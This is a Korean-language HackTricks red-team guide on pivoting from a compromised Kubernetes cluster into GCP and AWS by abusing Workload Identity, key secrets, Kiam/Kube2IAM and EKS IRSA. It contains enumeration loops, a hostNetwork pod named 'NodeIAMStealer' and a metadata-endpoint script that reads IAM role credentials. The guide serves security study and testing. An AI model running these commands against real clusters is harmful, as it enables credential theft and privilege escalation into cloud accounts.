Kubernetes Pivoting to Clouds
Reading time: 11 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
GCP
GCP 내에서 k8s 클러스터를 실행하는 경우 클러스터 내에서 실행되는 일부 애플리케이션이 GCP에 접근할 수 있기를 원할 것입니다. 이를 수행하는 일반적인 방법은 2가지가 있습니다:
GCP-SA 키를 비밀로 마운트하기
kubernetes 애플리케이션에 GCP 접근 권한을 부여하는 일반적인 방법은 다음과 같습니다:
- GCP 서비스 계정 생성
- 원하는 권한을 바인딩
- 생성된 SA의 json 키 다운로드
- pod 내에서 비밀로 마운트
- json이 있는 경로를 가리키는 GOOGLE_APPLICATION_CREDENTIALS 환경 변수를 설정
warning
따라서 공격자로서 pod 내의 컨테이너를 손상시키면 해당 env 변수와 GCP 자격 증명이 포함된 json 파일을 확인해야 합니다.
GSA json을 KSA 비밀에 연결하기
GKE 클러스터에 GSA 접근 권한을 부여하는 방법은 다음과 같이 바인딩하는 것입니다:
- 다음 명령을 사용하여 GKE 클러스터와 동일한 네임스페이스에 Kubernetes 서비스 계정을 생성:
Copy codekubectl create serviceaccount <service-account-name>
- GKE 클러스터에 접근 권한을 부여할 GCP 서비스 계정의 자격 증명을 포함하는 Kubernetes Secret을 생성합니다. 다음 예제와 같이
gcloud
명령줄 도구를 사용하여 이 작업을 수행할 수 있습니다:
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
- 다음 명령어를 사용하여 Kubernetes Secret을 Kubernetes 서비스 계정에 바인딩합니다:
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
warning
두 번째 단계에서 KSA의 비밀로 GSA의 자격 증명이 설정되었습니다. 그런 다음, GKE 클러스터 내부에서 그 비밀을 읽을 수 있다면, 해당 GCP 서비스 계정으로 상승할 수 있습니다.
GKE Workload Identity
Workload Identity를 사용하면 Kubernetes 서비스 계정을 Google 서비스 계정으로 작동하도록 구성할 수 있습니다. Kubernetes 서비스 계정으로 실행되는 Pods는 Google Cloud API에 접근할 때 자동으로 Google 서비스 계정으로 인증됩니다.
이 동작을 활성화하기 위한 첫 번째 일련의 단계는 GCP에서 Workload Identity를 활성화하는 것 (단계)과 k8s가 가장하고자 하는 GCP SA를 생성하는 것입니다.
- 새 클러스터에서 Workload Identity 활성화
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
- 새 노드풀 생성/업데이트 (오토파일럿 클러스터는 필요하지 않음)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
- K8s에서 GCP 권한으로 가짜로 사용할 GCP 서비스 계정 생성:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
- 클러스터에 연결하고 사용할 서비스 계정을 생성합니다.
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
- GSA를 KSA와 연결하기
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
- KSA로 pod를 실행하고 GSA에 대한 접근을 확인하세요:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
다음 명령어를 확인하여 필요 시 인증하십시오:
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
warning
K8s 내부의 공격자로서 iam.gke.io/gcp-service-account
주석이 있는 SAs를 검색해야 합니다. 이는 SA가 GCP의 무언가에 접근할 수 있음을 나타냅니다. 또 다른 옵션은 클러스터 내의 각 KSA를 남용해보고 접근 권한이 있는지 확인하는 것입니다.
GCP에서 바인딩을 나열하고 Kubernetes 내 SAs에 어떤 접근 권한을 부여하고 있는지 아는 것은 항상 흥미롭습니다.
이것은 주석을 찾기 위해 모든 포드 정의를 쉽게 반복하는 스크립트입니다:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
AWS
Kiam & Kube2IAM (Pods를 위한 IAM 역할)
Pods에 IAM 역할을 부여하는 (구식) 방법은 Kiam 또는 Kube2IAM 서버를 사용하는 것입니다. 기본적으로 클러스터에서 특권 IAM 역할의 데몬셋을 실행해야 합니다. 이 데몬셋이 필요한 Pods에 IAM 역할에 대한 접근을 제공합니다.
우선 네임스페이스 내에서 어떤 역할에 접근할 수 있는지 구성해야 하며, 이는 네임스페이스 객체 내의 주석을 통해 수행합니다:
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
네임스페이스가 IAM 역할로 구성되면, Pods는 각 pod 정의에서 원하는 역할을 다음과 같이 지정할 수 있습니다:
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
warning
공격자로서, 만약 당신이 이 주석들을 pods나 namespaces에서 발견하거나 실행 중인 kiam/kube2iam 서버(아마 kube-system에서)를 발견한다면, 당신은 pods에 의해 이미 사용되는 모든 role을 가장할 수 있으며, 더 많은 것들(만약 AWS 계정에 접근할 수 있다면 역할을 나열할 수 있습니다).
IAM 역할로 Pod 생성
note
지정해야 할 IAM 역할은 kiam/kube2iam 역할과 동일한 AWS 계정에 있어야 하며, 그 역할은 이를 접근할 수 있어야 합니다.
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
IAM Role for K8s Service Accounts via OIDC
이것은 AWS에서 권장하는 방법입니다.
- 먼저 클러스터에 대한 OIDC 공급자를 생성해야 합니다.
- 그런 다음 SA가 필요로 하는 권한으로 IAM 역할을 생성합니다.
- IAM 역할과 SA 간의 신뢰 관계를 생성합니다 (또는 역할에 대한 모든 SA에 접근을 허용하는 네임스페이스). 신뢰 관계는 주로 OIDC 공급자 이름, 네임스페이스 이름 및 SA 이름을 확인합니다.
- 마지막으로, 역할의 ARN을 나타내는 주석이 있는 SA를 생성하고, 해당 SA로 실행되는 파드는 역할의 토큰에 접근할 수 있습니다. 토큰은 파일에 기록되며 경로는 **
AWS_WEB_IDENTITY_TOKEN_FILE
**에 지정됩니다 (기본값:/var/run/secrets/eks.amazonaws.com/serviceaccount/token
)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
/var/run/secrets/eks.amazonaws.com/serviceaccount/token
에서 토큰을 사용하여 aws를 얻으려면 다음을 실행하십시오:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
warning
공격자로서 K8s 클러스터를 열거할 수 있다면, AWS로 상승하기 위해 해당 주석이 있는 서비스 계정을 확인하십시오. 그렇게 하려면, IAM 특권 서비스 계정 중 하나를 사용하여 pod를 exec/create하고 토큰을 훔치면 됩니다.
또한, pod 내부에 있는 경우 AWS_ROLE_ARN 및 AWS_WEB_IDENTITY_TOKEN과 같은 환경 변수를 확인하십시오.
caution
때때로 역할의 신뢰 정책이 잘못 구성되어 예상되는 서비스 계정에 AssumeRole 액세스를 제공하는 대신 모든 서비스 계정에 제공할 수 있습니다. 따라서 제어된 서비스 계정에 주석을 작성할 수 있다면, 해당 역할에 접근할 수 있습니다.
자세한 정보는 다음 페이지를 확인하십시오:
클러스터에서 IAM 역할이 있는 Pods 및 SAs 찾기
이 스크립트는 모든 pod 및 sa 정의를 쉽게 반복하여 해당 주석을 찾습니다:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
Node IAM Role
이전 섹션은 pods로 IAM Roles를 훔치는 방법에 대한 것이었지만, K8s 클러스터의 Node는 클라우드 내의 인스턴스가 될 것이라는 점에 유의해야 합니다. 이는 Node가 훔칠 수 있는 새로운 IAM 역할을 가질 가능성이 높다는 것을 의미합니다 (일반적으로 K8s 클러스터의 모든 노드는 동일한 IAM 역할을 가지므로 각 노드를 확인하려고 시도하는 것이 그다지 가치가 없을 수 있습니다).
그러나 노드의 메타데이터 엔드포인트에 접근하기 위한 중요한 요구 사항이 있습니다. 노드에 있어야 하거나 (ssh 세션?) 최소한 동일한 네트워크에 있어야 합니다:
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
IAM 역할 토큰 훔치기
이전에는 IAM 역할을 Pods에 연결하는 방법이나 인스턴스에 연결된 IAM 역할을 훔치기 위해 노드로 탈출하는 방법에 대해 논의했습니다.
다음 스크립트를 사용하여 새로 열심히 작업한 IAM 역할 자격 증명을 훔칠 수 있습니다:
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
참고문헌
- https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
- https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
- https://blogs.halodoc.io/iam-roles-for-service-accounts-2/
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.